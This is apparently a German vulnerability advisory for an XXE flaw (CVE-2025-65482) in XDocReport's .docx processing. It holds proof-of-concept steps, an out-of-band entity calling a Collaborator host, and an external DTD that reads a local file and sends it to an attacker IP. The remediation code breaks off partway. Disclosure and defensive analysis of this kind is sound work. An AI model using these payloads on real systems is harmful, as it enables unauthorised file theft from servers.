
CVE-2025-65482 (XXE)
XML External Entity Injection
Überblick über die Schwachstelle
Geschäftliche Auswirkungen
Die Personalverwaltungs-Website erlaubt Benutzern, .docx-Dokumentdateien auf das System hochzuladen. Während der Verarbeitung verwendet die Anwendung die Bibliothek fr.opensagres.xdocreport.document.docx, die eine XXE-Schwachstelle enthält, wenn die .docx-Datei des Benutzers durch SAXParser geleitet wird.
fr.opensagres.xdocreport.template.docx — XDocReport (Versionen =< 2.0.3)
Ursache: Verwendung von Apache POI
fr.opensagres.xdocreport.document.docx
└── fr.opensagres.xdocreport.document
└── fr.opensagres.xdocreport.template
└── fr.opensagres.xdocreport.converter
└── org.apache.poi.xwpf.converter.core
├── org.apache.poi:poi
└── org.apache.poi:poi-ooxml
Das bedeutet, dass Apache POI sehr tief im Modul liegt:
org.apache.poi.xwpf.converter.core
Der Fehler tritt auf, weil XDocReport (im Modul fr.opensagres.xdocreport.document.docx) Apache POI verwendet, um .docx-Dateien zu lesen, wobei POI den standardmäßigen Java-SAXParser verwendet, ohne die Funktionen zu deaktivieren, die die Verarbeitung von DTD und External Entities erlauben.
→ Dies ermöglicht es einem Angreifer, ein DOCTYPE mit einer Entity einzufügen, die auf eine externe Ressource verweist (SYSTEM "http://...") oder auf eine interne Datei (file:///...) → dies führt zu XXE.
XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser)
unzip ../vcspentest.docx
nano word/document.xml
Bearbeiten Sie mit folgendem Out-of-Bound-Payload für Collabrator:
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]>
<x>&xxe;</x>
zip -r ../poc.docx *
172.26.208.130. Inhalt der Datei vcspentest.dtd:<!ENTITY % file SYSTEM "file:///d:/vcspentest.txt">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>">
%eval;
%exfil;
Bearbeiten Sie die Datei word/document.xml in der .docx-Datei mit folgendem Inhalt, um die externe dtd von der WSL-Maschine zu laden:
<!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]>
.docx und laden Sie sie auf den Server zur Verarbeitung hoch:D:/vcspentest.txt auf dem Zielserver empfangen:Im Code oder auf der Ebene der XML-Parser-Konfiguration müssen alle Funktionen in Bezug auf DTD und externe Entitäten deaktiviert werden.
Ein Fix ähnlich diesem Code:
@RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
public String SAXParserVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
return "SAXParser xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}
@RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
public String SAXParserSec(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);